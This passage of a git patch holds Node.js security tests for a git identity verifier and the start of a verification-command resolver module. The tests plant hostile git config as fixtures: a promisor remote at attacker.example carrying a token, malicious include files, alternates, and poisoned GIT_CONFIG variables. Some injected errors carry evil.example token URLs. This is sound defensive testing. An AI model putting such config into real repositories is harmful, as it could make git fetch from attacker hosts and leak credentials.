+ assert.equal(env.GIT_ALLOW_PROTOCOL, ''); + assert.equal(env.GIT_PROTOCOL_FROM_USER, '0'); + assert.equal(env.GIT_CONFIG_NOSYSTEM, '1'); + assert.equal(env.GIT_CONFIG_GLOBAL, '/dev/null'); + assert.equal(env.GIT_CONFIG_SYSTEM, '/dev/null'); + assert.equal(Object.hasOwn(env, 'GIT_CONFIG'), false); + assert.equal(Object.hasOwn(env, 'GIT_CONFIG_COUNT'), false); + assert.equal(Object.hasOwn(env, 'GIT_CONFIG_PARAMETERS'), false); +} + +const HOSTILE_CONFIG_NEEDLES = [ + 'attacker.example', 'SUPERSECRET', 'steal.git', 'blob:none', + 'WTSECRET', 'worktree.git', 'included.cfg', 'hostile.cfg', +]; + test('live proxies are denied with zero traps on the request surface', async () => { const { proxy, counts } = countingProxy(validRequest({ path: '/tmp/cce-r1-git-identity-repo', @@ -165,6 +221,306 @@ test('rewritten history is parent-failing and does not verify ancestry', async ( parseVerifiedFactV1(result.facts[1]); }); +test('unsafe external gitdir, symlink gitdir, alternates, and promisor metadata fail closed', async (t) => { + const external = await createExternalGitdirRepo(); + t.after(() => external.cleanup()); + const externalError = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: external.path, base_sha: external.baseSha, head_sha: external.headSha, + }))); + assert.equal(externalError.code, 'repository_invalid'); + assertContentFree(externalError, external.path, external.extra.externalGit, 'hostile.git'); + + const linkedSym = await createSymlinkGitdirRepo(); + t.after(() => linkedSym.cleanup()); + const symlinkError = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: linkedSym.path, base_sha: linkedSym.baseSha, head_sha: linkedSym.headSha, + }))); + assert.equal(symlinkError.code, 'repository_invalid'); + assertContentFree(symlinkError, linkedSym.path, linkedSym.extra.externalGit); + + const alternates = await createAlternatesRepo(); + t.after(() => alternates.cleanup()); + const alternateOwn = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: alternates.path, base_sha: alternates.baseSha, head_sha: alternates.headSha, + }))); + assert.equal(alternateOwn.code, 'config_influence_denied'); + assertContentFree(alternateOwn, alternates.path, alternates.extra.donorPath); + const alternateForeign = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: alternates.path, base_sha: alternates.baseSha, head_sha: alternates.extra.donorHeadSha, + }))); + assert.equal(alternateForeign.code, 'config_influence_denied'); + + const httpAlternates = await createHttpAlternatesRepo(); + t.after(() => httpAlternates.cleanup()); + const httpError = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: httpAlternates.path, base_sha: httpAlternates.baseSha, head_sha: httpAlternates.headSha, + }))); + assert.equal(httpError.code, 'config_influence_denied'); + assertContentFree(httpError, 'attacker.example', 'SUPERSECRET', 'http-alternates'); + + const promisor = await createPromisorPackRepo(); + t.after(() => promisor.cleanup()); + const promisorError = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: promisor.path, base_sha: promisor.baseSha, head_sha: promisor.headSha, + }))); + assert.equal(promisorError.code, 'config_influence_denied'); + assertContentFree(promisorError, 'pack-deadbeef', promisor.path); + + const partial = await createPartialCloneConfigRepo(); + t.after(() => partial.cleanup()); + const partialError = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: partial.path, base_sha: partial.baseSha, head_sha: partial.headSha, + }))); + assert.equal(partialError.code, 'config_influence_denied'); + assertContentFree(partialError, 'attacker.example', 'steal.git', 'blob:none'); +}); + +test('alternate object env is not inherited into a closed git observation', async (t) => { + const donor = await createAlternatesRepo(); + t.after(() => donor.cleanup()); + const previous = process.env.GIT_ALTERNATE_OBJECT_DIRECTORIES; + process.env.GIT_ALTERNATE_OBJECT_DIRECTORIES = `${donor.extra.donorPath}/.git/objects`; + try { + const error = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: donor.path, base_sha: donor.baseSha, head_sha: donor.headSha, + }), { + spawn(command, args, options) { + assert.equal(options.env, GIT_CLOSED_ENV); + assert.equal(Object.hasOwn(options.env, 'GIT_ALTERNATE_OBJECT_DIRECTORIES'), false); + assert.equal(Object.hasOwn(options.env, 'GIT_OBJECT_DIRECTORY'), false); + return nodeSpawn(command, args, options); + }, + })); + assert.equal(error.code, 'config_influence_denied'); + } finally { + if (previous === undefined) delete process.env.GIT_ALTERNATE_OBJECT_DIRECTORIES; + else process.env.GIT_ALTERNATE_OBJECT_DIRECTORIES = previous; + } +}); + +test('a forged branch ref pointing at an annotated tag is not accepted after peeling', async (t) => { + const repo = await createAnnotatedTagBranchRepo(); + t.after(() => repo.cleanup()); + const error = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + }))); + assert.equal(error.code, 'non_commit_object'); + assertContentFree(error, repo.extra.tagSha, 'forged-base', repo.path); +}); + +test('injected child stream accessors and proxies fail closed without native errors', async (t) => { + const repo = await createStaleBaseRepo(); + t.after(() => repo.cleanup()); + const request = validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + }); + + function afterIdentity(hostileChild) { + let calls = 0; + return (command, args, options) => { + calls += 1; + if (calls === 1) return nodeSpawn(command, args, options); + return hostileChild; + }; + } + + const accessorError = await errorOf(() => verifyGitIdentityV1(request, { + spawn: afterIdentity({ + stdout: { + get on() { throw new Error('https://evil.example/steal?token=SECRET'); }, + }, + stderr: { on() { return this; } }, + kill() {}, + once() {}, + }), + })); + assert.equal(accessorError.code, 'git_execution_failed'); + assertContentFree(accessorError, 'SECRET', 'evil.example', 'steal'); + + const stderrError = await errorOf(() => verifyGitIdentityV1(request, { + spawn: afterIdentity({ + stdout: { on() { return this; } }, + stderr: { + get on() { throw new Error('https://evil.example/stderr?token=SECRET'); }, + }, + kill() {}, + once() {}, + }), + })); + assert.equal(stderrError.code, 'git_execution_failed'); + assertContentFree(stderrError, 'SECRET', 'evil.example'); + + const { proxy, revoke } = Proxy.revocable({ + stdout: { on() { return this; } }, + stderr: { on() { return this; } }, + kill() {}, + once() {}, + }, { + get() { throw new Error('revoked child get'); }, + ownKeys() { throw new Error('revoked child ownKeys'); }, + }); + revoke(); + const revokedError = await errorOf(() => verifyGitIdentityV1(request, { + spawn: afterIdentity(proxy), + })); + assert.equal(revokedError.code, 'proxy_denied'); + assert.equal(utilTypes.isProxy(proxy), true); + + const liveProxyError = await errorOf(() => verifyGitIdentityV1(request, { + spawn: afterIdentity(new Proxy({ + stdout: { on() { return this; } }, + stderr: { on() { return this; } }, + kill() {}, + once() {}, + }, { + get() { throw new Error('https://evil.example/proxy?token=SECRET'); }, + })), + })); + assert.equal(liveProxyError.code, 'proxy_denied'); + assertContentFree(liveProxyError, 'SECRET', 'evil.example'); + + const chunkError = await errorOf(() => verifyGitIdentityV1(request, { + spawn: afterIdentity((() => { + const listeners = { data: [] }; + const stream = { + on(event, handler) { + if (event === 'data') listeners.data.push(handler); + return this; + }, + }; + return { + stdout: stream, + stderr: { on() { return this; } }, + kill() {}, + once(event, handler) { + if (event === 'close') { + queueMicrotask(() => { + for (const onData of listeners.data) { + onData({ + get length() { throw new Error('https://evil.example/chunk?token=SECRET'); }, + }); + handler(0, null); + } + }); + } + return this; + }, + }; + })()), + })); + assert.equal(chunkError.code, 'git_execution_failed'); + assertContentFree(chunkError, 'SECRET', 'evil.example', 'chunk'); +}); + +test('unknown, symbol, and accessor keys stay content-free typed failures', async () => { + const base = validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + }); + const secretKey = 'https://attacker.example/callback?token=SUPERSECRET'; + const unknown = { ...base, [secretKey]: 'leak-me' }; + const unknownError = await errorOf(() => parseGitIdentityRequestV1(unknown)); + assert.equal(unknownError.code, 'unknown_key'); + assert.equal(unknownError.path, 'git_identity'); + assertContentFree(unknownError, 'SUPERSECRET', 'attacker.example', 'leak-me', secretKey); + + const nested = validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + }); + nested.repository = { ...nested.repository, [secretKey]: 'nested-leak' }; + const nestedError = await errorOf(() => parseGitIdentityRequestV1(nested)); + assert.equal(nestedError.code, 'unknown_key'); + assertContentFree(nestedError, 'SUPERSECRET', 'attacker.example', 'nested-leak'); + + const symbolic = validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + }); + Object.defineProperty(symbolic, Symbol('https://attacker.example/symbol-secret'), { + enumerable: true, + value: 'symbol-leak', + }); + const symbolError = await errorOf(() => parseGitIdentityRequestV1(symbolic)); + assert.equal(symbolError.code, 'symbol_key_denied'); + assertContentFree(symbolError, 'attacker.example', 'symbol-secret', 'symbol-leak'); + + let reads = 0; + const accessorUnknown = validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + }); + Object.defineProperty(accessorUnknown, secretKey, { + enumerable: true, + get() { + reads += 1; + return 'https://attacker.example/accessor'; + }, + }); + const accessorError = await errorOf(() => parseGitIdentityRequestV1(accessorUnknown)); + assert.equal(accessorError.code, 'unknown_key'); + assert.equal(reads, 0); + assertContentFree(accessorError, 'SUPERSECRET', 'attacker.example'); +}); + +test('end-to-end wall-clock bound rejects delayed verification after the deadline', async (t) => { + const repo = await createStaleBaseRepo(); + t.after(() => repo.cleanup()); + const request = validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + }); + const realNow = Date.now; + let calls = 0; + Date.now = () => { + calls += 1; + return realNow(); + }; + t.after(() => { Date.now = realNow; }); + const counted = await verifyGitIdentityV1(request); + assert.equal(counted.status, 'failed'); + const totalCalls = calls; + assert.ok(totalCalls > 0); + calls = 0; + const origin = realNow(); + Date.now = () => { + calls += 1; + if (calls >= totalCalls) return origin + MAX_GIT_TOTAL_TIME_MS; + return origin; + }; + const error = await errorOf(() => verifyGitIdentityV1(request)); + assert.equal(error.code, 'bounds_exceeded'); + assertContentFree(error, repo.path); +}); + +test('sequence 65534 rewritten history saturates discrepancies without escaping', async (t) => { + const repo = await createRewrittenHistoryRepo(); + t.after(() => repo.cleanup()); + const result = await verifyGitIdentityV1(validRequest({ + path: repo.path, + base_sha: repo.baseSha, + head_sha: repo.headSha, + sequence: MAX_SEQUENCE - 1, + })); + assert.equal(result.status, 'failed'); + const ids = discrepancyIds(result); + assert.equal(ids.includes('rewritten-history'), true); + assert.ok(result.discrepancies.length >= 1); + assert.ok(result.discrepancies.length <= 2); + for (const discrepancy of result.discrepancies) { + assert.ok(discrepancy.sequence <= MAX_SEQUENCE); + parseEvidenceDiscrepancyV1(discrepancy); + } + assert.equal(result.facts[0].status, 'failed'); + assert.equal(result.facts[0].sequence, MAX_SEQUENCE - 1); + assert.equal(result.facts[1].sequence, MAX_SEQUENCE); + parseVerifiedFactV1(result.facts[0]); + parseVerifiedFactV1(result.facts[1]); +}); + test('unreachable heads and wrong merge bases fail closed with P13 discrepancies', async (t) => { const unreachable = await createUnreachableHeadRepo(); t.after(() => unreachable.cleanup()); @@ -187,3 +543,217 @@ test('unreachable heads and wrong merge bases fail closed with P13 discrepancies assert.notEqual(divergedResult.observation.merge_base_sha, diverged.baseSha); parseEvidenceDiscrepancyV1(divergedResult.discrepancies[0]); }); + +test('absolute and relative external includes with prohibited keys fail closed', async (t) => { + const absolute = await createAbsoluteExternalIncludeRepo(); + t.after(() => absolute.cleanup()); + const absoluteError = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: absolute.path, base_sha: absolute.baseSha, head_sha: absolute.headSha, + }))); + assert.equal(absoluteError.code, 'config_influence_denied'); + assertContentFree(absoluteError, ...HOSTILE_CONFIG_NEEDLES, absolute.path, absolute.extra.includeFile); + + const relative = await createRelativeExternalIncludeRepo(); + t.after(() => relative.cleanup()); + const relativeError = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: relative.path, base_sha: relative.baseSha, head_sha: relative.headSha, + }))); + assert.equal(relativeError.code, 'config_influence_denied'); + assertContentFree( + relativeError, ...HOSTILE_CONFIG_NEEDLES, relative.path, relative.extra.includeFile, relative.extra.relative, + ); +}); + +test('an active includeIf condition with prohibited keys fails closed', async (t) => { + const repo = await createActiveIncludeIfRepo(); + t.after(() => repo.cleanup()); + const error = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + }))); + assert.equal(error.code, 'config_influence_denied'); + assertContentFree(error, ...HOSTILE_CONFIG_NEEDLES, repo.path, repo.extra.includeFile, 'onbranch:main'); +}); + +test('linked-worktree config.worktree provenance fails closed', async (t) => { + const repo = await createLinkedWorktreePromisorConfigRepo(); + t.after(() => repo.cleanup()); + const error = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + }))); + assert.equal(error.code, 'config_influence_denied'); + assertContentFree( + error, ...HOSTILE_CONFIG_NEEDLES, repo.path, repo.extra.mainPath, 'config.worktree', 'origin', + ); +}); + +test('a symlinked external include origin with prohibited keys fails closed', async (t) => { + const repo = await createSymlinkExternalIncludeRepo(); + t.after(() => repo.cleanup()); + const error = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + }))); + assert.equal(error.code, 'config_influence_denied'); + assertContentFree(error, ...HOSTILE_CONFIG_NEEDLES, repo.path, repo.extra.includeFile, repo.extra.linkPath); +}); + +test('benign includes and safe linked worktrees still verify', async (t) => { + const included = await createBenignIncludeRepo(); + t.after(() => included.cleanup()); + let configLists = 0; + let commands = 0; + const includedResult = await verifyGitIdentityV1(validRequest({ + path: included.path, base_sha: included.baseSha, head_sha: included.headSha, + }), { + spawn(command, args, options) { + commands += 1; + assertClosedProtocolEnv(options.env); + if (isEffectiveConfigList(args)) configLists += 1; + return nodeSpawn(command, args, options); + }, + }); + assert.equal(includedResult.status, 'verified'); + assert.equal(configLists, 2); + assert.ok(commands <= 20); + assert.equal(includedResult.discrepancies.length, 0); + + const linked = await createLinkedWorktreeBenignConfigRepo(); + t.after(() => linked.cleanup()); + const linkedResult = await verifyGitIdentityV1(validRequest({ + path: linked.path, base_sha: linked.baseSha, head_sha: linked.headSha, + })); + assert.equal(linkedResult.status, 'verified'); + assert.equal(linkedResult.observation.head_sha, linked.headSha); + assert.equal(linkedResult.discrepancies.length, 0); +}); + +test('system global and caller GIT_CONFIG surfaces cannot influence observation', async (t) => { + const repo = await createLinearRepo(); + t.after(() => repo.cleanup()); + const hostileRoot = await mkdtemp(path.join(tmpdir(), 'p14-gitconfig-env-')); + t.after(() => rm(hostileRoot, { recursive: true, force: true })); + const hostileFile = path.join(hostileRoot, 'global.cfg'); + writeFileSync(hostileFile, `[extensions] + partialClone = leaked-origin +[remote "leaked"] + promisor = true + partialclonefilter = blob:none + url = https://attacker.example/leaked.git?token=SUPERSECRET +`); + const previous = { + GIT_CONFIG: process.env.GIT_CONFIG, + GIT_CONFIG_GLOBAL: process.env.GIT_CONFIG_GLOBAL, + GIT_CONFIG_SYSTEM: process.env.GIT_CONFIG_SYSTEM, + GIT_CONFIG_NOSYSTEM: process.env.GIT_CONFIG_NOSYSTEM, + GIT_CONFIG_COUNT: process.env.GIT_CONFIG_COUNT, + GIT_CONFIG_PARAMETERS: process.env.GIT_CONFIG_PARAMETERS, + GIT_CONFIG_KEY_0: process.env.GIT_CONFIG_KEY_0, + GIT_CONFIG_VALUE_0: process.env.GIT_CONFIG_VALUE_0, + }; + process.env.GIT_CONFIG = hostileFile; + process.env.GIT_CONFIG_GLOBAL = hostileFile; + process.env.GIT_CONFIG_SYSTEM = hostileFile; + process.env.GIT_CONFIG_NOSYSTEM = '0'; + process.env.GIT_CONFIG_COUNT = '1'; + process.env.GIT_CONFIG_PARAMETERS = "'extensions.partialClone=origin'"; + process.env.GIT_CONFIG_KEY_0 = 'remote.origin.promisor'; + process.env.GIT_CONFIG_VALUE_0 = 'true'; + try { + const result = await verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + }), { + spawn(command, args, options) { + assertClosedProtocolEnv(options.env); + return nodeSpawn(command, args, options); + }, + }); + assert.equal(result.status, 'verified'); + } finally { + for (const [key, value] of Object.entries(previous)) { + if (value === undefined) delete process.env[key]; + else process.env[key] = value; + } + } +}); + +test('protocol denial blocks a missing promisor object fetch', async (t) => { + const repo = await createLinearRepo(); + t.after(() => repo.cleanup()); + const includeRoot = await mkdtemp(path.join(tmpdir(), 'p14-promisor-race-')); + t.after(() => rm(includeRoot, { recursive: true, force: true })); + const includeFile = path.join(includeRoot, 'hostile.cfg'); + writeFileSync(includeFile, `[extensions] + partialClone = origin +[remote "origin"] + url = https://attacker.example/steal.git?token=SUPERSECRET + promisor = true + partialclonefilter = blob:none +`); + const missingSha = 'c'.repeat(40); + let seenConfig = false; + const error = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: missingSha, + }), { + spawn(command, args, options) { + assertClosedProtocolEnv(options.env); + if (seenConfig) { + appendFileSync( + path.join(repo.path, '.git', 'config'), + `\n[include]\n\tpath = ${includeFile}\n`, + ); + seenConfig = false; + } + if (isEffectiveConfigList(args)) seenConfig = true; + return nodeSpawn(command, args, options); + }, + })); + assert.ok( + error.code === 'unreachable_head' + || error.code === 'config_influence_denied' + || error.code === 'git_execution_failed' + || error.code === 'non_commit_object', + error.code, + ); + assert.notEqual(error.code, undefined); + assertContentFree(error, ...HOSTILE_CONFIG_NEEDLES, includeFile, repo.path, missingSha); +}); + +test('config introduced between pre and post checks cannot verify', async (t) => { + const repo = await createLinearRepo(); + t.after(() => repo.cleanup()); + const includeRoot = await mkdtemp(path.join(tmpdir(), 'p14-config-race-')); + t.after(() => rm(includeRoot, { recursive: true, force: true })); + const includeFile = path.join(includeRoot, 'hostile.cfg'); + writeFileSync(includeFile, `[extensions] + partialClone = origin +[remote "origin"] + url = https://attacker.example/steal.git?token=SUPERSECRET + promisor = true + partialclonefilter = blob:none +`); + let seenPreConfig = false; + let mutated = false; + let configLists = 0; + const error = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + }), { + spawn(command, args, options) { + assertClosedProtocolEnv(options.env); + if (seenPreConfig && !mutated) { + mutated = true; + appendFileSync( + path.join(repo.path, '.git', 'config'), + `\n[include]\n\tpath = ${includeFile}\n`, + ); + } + if (isEffectiveConfigList(args)) { + configLists += 1; + seenPreConfig = true; + } + return nodeSpawn(command, args, options); + }, + })); + assert.equal(error.code, 'config_influence_denied'); + assert.equal(configLists, 2); + assert.equal(mutated, true); + assertContentFree(error, ...HOSTILE_CONFIG_NEEDLES, includeFile, repo.path); +}); diff --git a/plugins/codex-co-engineer/test/r1-git-identity.test.mjs b/plugins/codex-co-engineer/test/r1-git-identity.test.mjs index efb5199..b446de3 100644 --- a/plugins/codex-co-engineer/test/r1-git-identity.test.mjs +++ b/plugins/codex-co-engineer/test/r1-git-identity.test.mjs @@ -22,6 +22,7 @@ import { BASE_REF, RUN_ID, createLinearRepo, + createLinkedWorktreeRepo, createMissingRepoPath, createNonGitDirectory, validRequest, @@ -191,6 +192,21 @@ test('git runs as argv without shell and with a closed environment', async (t) = } }); +test('a safe linked worktree verifies against the common object store', async (t) => { + const repo = await createLinkedWorktreeRepo(); + t.after(() => repo.cleanup()); + const result = await verifyGitIdentityV1(validRequest({ + path: repo.path, + base_sha: repo.baseSha, + head_sha: repo.headSha, + })); + assert.equal(result.status, 'verified'); + assert.equal(result.observation.head_sha, repo.headSha); + assert.equal(result.observation.base_sha, repo.baseSha); + assert.equal(result.observation.ancestor, true); + assert.equal(result.discrepancies.length, 0); +}); + test('independent repositories verify concurrently without sharing observation', async (t) => { const left = await createLinearRepo(); const right = await createLinearRepo(); From f54a2d2f80a5c2f6b2cf164675bfa3aed4a1947b Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 09:03:08 +0000 Subject: [PATCH 56/81] feat(verify): add approved verification-command resolver Resolve a closed Codex/owner command_id selection plus typed parameter values against an immutable trusted VerificationPolicyV1 into a fresh frozen ExecutionIntent receipt. Expand only owner-authored whole-token placeholders, inherit P16A constraints, and treat provider/profile/ manifest matching text as ineligible. This slice never executes a command or implements the P16C runner. --- .../mcp/v3/approved-verification-command.mjs | 675 ++++++++++++++++++ 1 file changed, 675 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/approved-verification-command.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/approved-verification-command.mjs b/plugins/codex-co-engineer/mcp/v3/approved-verification-command.mjs new file mode 100644 index 0000000..c26f489 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/approved-verification-command.mjs @@ -0,0 +1,675 @@ +// Approved verification-command resolver — ExecutionIntent / ApprovedCommand +// receipt for W15-P16B (ADR 0001 identifiers +// `verification_policy_v1_only_executable_catalog`, +// `codex_selects_approved_command_ids_only`, +// `manifests_carry_command_ids_not_argv`, +// `provider_commands_evidence_never_auto_executed`, +// `read_only_verification`, +// `gate_a_constrained_trusted_policy_command_execution`). +// +// Additive v3 module. It owns one fail-closed question: given an immutable +// trusted VerificationPolicyV1 from P16A and a closed Codex/owner selection +// of command_id plus typed parameter values, what is the fresh frozen +// bounded resolution receipt? It answers nothing else. +// This module never invokes a shell, never resolves PATH, and never executes a command. +// It never opens a network socket, never reads arbitrary workspace files, never +// mutates a candidate, and does not implement the P16C runner. +// +// Authority provenance is only the closed selection input. A provider, +// profile, or manifest reported or requested command is evidence only: even +// exact matching command-id / argv / executable text cannot authorize +// resolution. Untrusted input may carry only command_id and typed +// parameters. Executable path, argv fragments, shell text, environment, +// network, mutation, and resource overrides are denied before expansion. +// +// Expansion substitutes only owner-authored whole-token `{name}` +// placeholders with validated canonical parameter values. There is no +// interpolation, substitution, globbing, option smuggling, or PATH lookup. +// Inherited P16A constraints are copied, never overridden. Failures are +// typed and content-free. Receipts are fresh-owned, deeply frozen, and +// detached. Callers' objects are neither mutated nor frozen. + +import { Buffer as NodeBuffer } from 'node:buffer'; + +import { + capturedCreate, + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedObjectIs, + capturedTest, + capturedUtf8ByteLength, + sortedCapturedKeys, +} from './grammar.mjs'; +import { + IDENTITY_DOMAIN, + IDENTITY_LABELS, + IDENTITY_VERSION, + canonicalJsonStringify, + identityDigestV1, +} from './identity.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + hasOwn, + optOwn, +} from './selection-json.mjs'; +import { + COMMAND_RECEIPT_KEYS, + DEFAULT_ENVIRONMENT_RECEIPT, + DEFAULT_ERROR_BYTES, + DEFAULT_MUTATION_RECEIPT, + DEFAULT_NETWORK_RECEIPT, + DEFAULT_OUTPUT_BYTES, + DEFAULT_RESOURCES_RECEIPT, + DEFAULT_TIMEOUT_MS, + DIGEST_ALGORITHM, + ENV_ENTRY_ALLOWED_KEYS, + ENVIRONMENT_ALLOWED_KEYS, + MAX_ARGV_TOKEN_BYTES, + MAX_PARAMETERS, + MAX_POLICY_OBJECT_KEYS, + MUTATION_ALLOWED_KEYS, + NETWORK_ALLOWED_KEYS, + PARAMETER_TYPES, + PLACEHOLDER_PATTERN, + RESOURCES_ALLOWED_KEYS, + UNTRUSTED_COMMAND_ALLOWED_KEYS, + VERIFICATION_COMMAND_DIGEST_LABEL, + VERIFICATION_POLICY_DIGEST_LABEL, + parseUntrustedCommandReferenceV1, + parseVerificationPolicyV1, +} from './trusted-verification-policy.mjs'; + +export const APPROVED_VERIFICATION_COMMAND_SCHEMA_ID = + 'codex-co-engineer.approved-verification-command.v1'; +export const APPROVED_VERIFICATION_COMMAND_VERSION = 1; +export const APPROVED_COMMAND_DIGEST_LABEL = IDENTITY_LABELS.VERIFICATION_COMMAND_PLAN; +export const EXECUTABLE_CLOSURE_DIGEST_LABEL = IDENTITY_LABELS.VERIFICATION_EXECUTABLE_CLOSURE; + +export const REQUEST_ALLOWED_KEYS = capturedFreeze(['policy', 'selection']); +export const REQUEST_REQUIRED_KEYS = REQUEST_ALLOWED_KEYS; +export const SELECTION_ALLOWED_KEYS = UNTRUSTED_COMMAND_ALLOWED_KEYS; +export const RECEIPT_BODY_KEYS = capturedFreeze([ + 'argv', 'command_id', 'command_identity', 'environment', 'executable', + 'executable_closure_identity', 'mutation', 'network', 'parameters', + 'policy_identity', 'resources', 'schema', 'timeout_ms', 'version', +]); +export const RECEIPT_KEYS = capturedFreeze([ + 'argv', 'command_id', 'command_identity', 'environment', 'executable', + 'executable_closure_identity', 'mutation', 'network', 'parameters', + 'plan_identity', 'policy_identity', 'resources', 'schema', 'timeout_ms', + 'version', +]); +export const IDENTITY_RECEIPT_KEYS = capturedFreeze([ + 'algorithm', 'digest', 'domain', 'input_bytes', 'label', 'version', +]); + +export const APPROVED_COMMAND_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', 'ambiguous_id_denied', + 'authority_denied', 'control_character_denied', 'duplicate_id', + 'duplicate_parameter', 'env_name_denied', 'executable_content_denied', + 'exotic_prototype_denied', 'invalid_array', 'invalid_encoding', + 'invalid_format', 'invalid_json_type', 'invalid_json_value', 'invalid_type', + 'missing_key', 'mutation_permission_denied', 'network_content_denied', + 'non_enumerable_property_denied', 'option_smuggling_denied', + 'own_undefined_denied', 'out_of_range', 'placeholder_unbound', + 'proxy_denied', 'resource_limit_denied', 'shell_content_denied', + 'symbol_key_denied', 'unknown_command', 'unknown_key', + 'value_depth_exceeded', +]); + +const PRIVATE_PATH_SEGMENT_PATTERN = /^[A-Za-z0-9._+-]+$/u; +const PRIVATE_LITERAL_PATTERN = /^[A-Za-z0-9._+/=:,@%-]+$/u; +const PRIVATE_PLACEHOLDER_PATTERN = /^\{[a-z][a-z0-9_-]{0,31}\}$/u; + +const MESSAGES = capturedFreeze(Object.assign(capturedCreate(null), { + accessor_property_denied: 'An accessor property was denied; getters are never invoked.', + aliased_reference_denied: 'Aliased or cyclic references are denied.', + ambiguous_id_denied: 'Ambiguous Unicode, compatibility, or confusable identity text is denied.', + authority_denied: 'Provider, profile, and manifest commands are evidence only and cannot authorize resolution.', + control_character_denied: 'Control, invisible, or bidi characters are denied.', + duplicate_id: 'A duplicate identity was denied instead of collapsed.', + duplicate_parameter: 'A duplicate parameter or placeholder binding was denied.', + env_name_denied: 'An environment name is outside the closed allowlist.', + executable_content_denied: 'Untrusted input must not contribute executable content.', + exotic_prototype_denied: 'Exotic prototypes are denied.', + invalid_array: 'Arrays must be dense JSON arrays without extended metadata.', + invalid_encoding: 'Text must be well-formed NFC/NFKC Unicode.', + invalid_format: 'A field violates the closed grammar.', + invalid_json_type: 'A non-JSON value was denied.', + invalid_json_value: 'A non-canonical JSON number or value was denied.', + invalid_type: 'A field has the wrong JSON type.', + missing_key: 'A required field is missing; trusted policy has no hidden grants.', + mutation_permission_denied: 'Untrusted input must not contribute mutation permissions.', + network_content_denied: 'Untrusted input must not contribute network targets.', + non_enumerable_property_denied: 'Non-enumerable properties are denied.', + option_smuggling_denied: 'A parameter value attempted to smuggle an option or argv fragment.', + own_undefined_denied: 'Own undefined values are denied; omit the field instead.', + out_of_range: 'A bounded integer, count, or size was exceeded.', + placeholder_unbound: 'An argv placeholder is not bound to a declared parameter.', + proxy_denied: 'Live and revoked Proxies are denied.', + resource_limit_denied: 'Untrusted input must not contribute resource limits.', + shell_content_denied: 'Shell text, interpolation, or metacharacters are denied.', + symbol_key_denied: 'Symbol keys are denied.', + unknown_command: 'The selected command is not in the trusted catalog.', + unknown_key: 'A key is outside the closed vocabulary.', + value_depth_exceeded: 'Nesting exceeds the bounded policy depth.', +})); + +const EXECUTABLE_FOLDS = capturedFreeze([ + 'args', 'argument', 'arguments', 'argv', 'argvtemplate', 'bin', 'binary', + 'cmd', 'cmdline', 'command', 'commandcatalog', 'commands', 'cwd', + 'entrypoint', 'exec', 'executable', 'interpreter', 'run', 'runner', + 'runnercommand', 'script', 'scripts', 'shell', 'shellcommand', 'template', + 'templates', 'verificationcommand', 'verificationpolicy', + 'verificationpolicyv1', 'workingdirectory', +]); +const ENVIRONMENT_FOLDS = capturedFreeze([ + 'dotenv', 'env', 'environ', 'environment', 'environmentallowlist', + 'envfile', 'envvar', 'envvars', +]); +const NETWORK_FOLDS = capturedFreeze([ + 'endpoint', 'host', 'hostname', 'hosts', 'network', 'uri', 'url', +]); +const MUTATION_FOLDS = capturedFreeze([ + 'filesystem', 'mutate', 'mutation', 'persist', 'persistent', 'write', +]); +const RESOURCE_FOLDS = capturedFreeze([ + 'cpulimit', 'maxerrorbytes', 'maxoutputbytes', 'memorylimit', 'pidslimit', + 'resource', 'resources', 'timeout', 'timeoutms', 'ulimit', +]); +const AUTHORITY_FOLDS = capturedFreeze([ + 'acceptance', 'assignment', 'attention', 'catalog', 'claim', 'evidence', + 'manifest', 'profile', 'profiles', 'provider', 'providercommand', + 'providerreport', 'providers', 'report', 'reported', 'requested', + 'requestedcommand', 'suggestion', 'untrusted', 'worker', +]); + +const OBJECT_DEFINE_PROPERTY = Object.defineProperty; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const NUMBER_IS_FINITE = Number.isFinite; +const REFLECT_OWN_KEYS = Reflect.ownKeys; +const STRING = String; +const STRING_CHAR_CODE_AT = Function.prototype.call.bind(String.prototype.charCodeAt); +const STRING_SLICE = Function.prototype.call.bind(String.prototype.slice); +const STRING_STARTS_WITH = Function.prototype.call.bind(String.prototype.startsWith); +const STRING_REPLACE = Function.prototype.call.bind(String.prototype.replace); +const STRING_TO_LOWER_CASE = 